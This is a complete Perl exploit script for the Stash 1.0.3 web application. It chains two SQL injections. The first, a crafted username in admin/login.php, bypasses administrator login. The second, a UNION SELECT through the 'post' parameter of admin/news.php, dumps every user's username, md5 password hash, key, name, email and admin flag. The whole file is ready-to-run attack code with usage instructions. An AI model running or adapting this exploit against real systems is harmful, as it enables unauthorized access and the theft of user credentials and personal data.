#!/usr/bin/perl -w
#
# User credentials disclosure exploit - stash103exp.pl
#
# Gnix <gnixmail@gmail.com>
# http://gnix.netsons.org
#
# This exploit use an SQL Injection in the file admin/login.php to
# bypass the login, and then an SQL Injection in the admin/news.php
# to extract all the users info. Note: password are crypted with md5.
#
# Output for each user:
# user_id:user_username:user_password:user_key:user_firstname user_lastname:user_email:user_admin
#
use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
use HTTP::Cookies;
# Variables
my $cjar = new HTTP::Cookies( file => 'cookies.txt',
autosave => 1,
ignore_discard => 0);
my $agent = new LWP::UserAgent;
$agent->agent('Lynxy/6.6.6dev.8 libwww-FM/3.14159FM');
# Check argv
if(@ARGV != 3) {
print "[?] Usage : perl stash103exp.pl <stash_dir_address> <admin_username> <table_prefix>\n";
print "[?] Example: perl stash103exp.pl http://site/stash/ avril st_\n";
exit(1);
}
# Authentication
if(!auth($ARGV[0],$ARGV[1])) {
print "[!] Error during the authentication!\n";
exit(1);
}
# Extract all the user information
my $info = extract_data($ARGV[0],$ARGV[2]);
if(!$info) {
print "[!] Error when extracting data!\n";
exit(1);
}
# Print user information
$_ = $info;
my @users = m/<1>(.+?)<2>/g;
foreach my $user (@users) {
print $user."\n";
}
exit(0);
###########################################################################
# Login as $ARGV[1] and save the PHPSESSID cookie
sub auth
{
my $address = shift;
my $username= shift;
# Login
my $response= $agent->post($address.'admin/login.php',
{username => "' OR user_username = '$username",
password => "any",
submit => "Log in"});
# Save PHPSESSID cookie
$cjar->extract_cookies($response);
return $response->is_redirect();
}
# Inject a query through news.php to extract all the info about every user
sub extract_data
{
my $address = shift;
my $prefix = shift;
my $query = "-1 UNION SELECT 1 AS news_id, 'Injection' AS news_title, ".
"CONCAT('<1>',user_id,':',user_username,':',user_password,':',user_key,".
"':',user_firstname,' ', user_lastname,':', user_email,':', user_admin,".
"'<2>') AS news_body, 'Mitnick' AS news_author, NOW() AS news_date, 0 ".
"AS news_comment FROM ".$prefix."news, ".$prefix."user";
my $request = new HTTP::Request('GET', $address.'admin/news.php?post='.$query);
$agent->cookie_jar($cjar);
my $response= $agent->request($request);
if($response->is_success()) {
return $response->content();
}
else {
return undef;
}
}